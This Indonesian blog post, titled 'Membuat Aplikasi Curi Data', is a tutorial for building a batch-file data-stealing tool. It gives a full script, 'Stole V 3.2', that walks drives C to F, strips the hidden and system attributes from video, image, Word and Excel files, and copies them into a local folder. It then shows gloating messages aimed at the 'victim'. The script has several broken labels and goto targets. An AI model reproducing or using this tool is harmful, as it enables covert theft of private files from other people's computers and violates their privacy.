MEMBUAT APLIKASI CURI DATA

MEMBUAT APLIKASI SEDERHANA DENGAN NOTEPAD

penjelasan,program ini ber ukuran sangat kecil sekitar,
File Size : 40.00 KB,
file ini terbentuk batch files.

kegunaan aplikasi ini:
untuk nyuri file pada komputer
dan format file :
*.3gp
*.wmv
*.avi
*.jpg
*.rm
*.mp
g


nah format2 diatas tuh yg seringk kita temui dalam video ++
lah hahaha,nah tool ini akan mendeteksi file2 seperti itu di komputer
hahaha. cara make nyah mudah tinggal di klik,trus pilih y,dan tekan Enter2x ampe warna layar berubah trus tunggu in dolo.
Aplikasi akan berjalan dan nikmati hasil nya
dan file td akan tersimpan di "SCC_18202" berbentuk folder


cara membuat

1.Buka notepad

2.copy paste code ini

code:




echo off
color 0a
mode 31,15
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title Stole V 3.2
msg * Digunakan untuk mencuri
msg * File atau data2 korban
echo.
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program Aplikasi ³
echo ³ Stole V 3 .2 ³
echo ³ Author : sohai ³
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption

echo ------EKSTENSI FILE----------

echo [1] 3gp [4] jpg [7] doc

echo [2] wmv [5] rm [8] xls

echo [3] avi [6] mpg [9] Exit

echo =============================

echo.

set/p "pil=Masukan Pilihan: "

if %pil%=='' goto option

if %pil%==1 goto 3gp

if %pil%==2 goto wmv

if %pil%==3 goto avi

if %pil%==4 goto jpg

if %pil%==5 goto rm

if %pil%==6 goto mpg

if %pil%==7 goto

if %pil%==8 goto m

if %pil%==9 goto keluar

goto option
:3gp
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal

goto option
:goto wmv
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)

cls
echo sudah tidak ditemukan file nyah
pause >nul


goto option
:avi
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:jpg
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:rm
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls

goto option
:mpg
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:doc
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:xls
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls


:keluar
msg * data telah ter ambil!!!
msg * Hayoo !!! Dta kmu tuh apa ya???
msg * HEhehehehe
msg * by sohai
Exit

3.kemudian save dengan ekstensi .*bat
contoh: curidata.bat

atau anda bisa download di
sini

SUMBER : http://sohai30909.blogspot.com

0 comments:

Post a Comment

 

Belajar Dan Berbagi Copyright © 2011-2012 | Powered by Blogger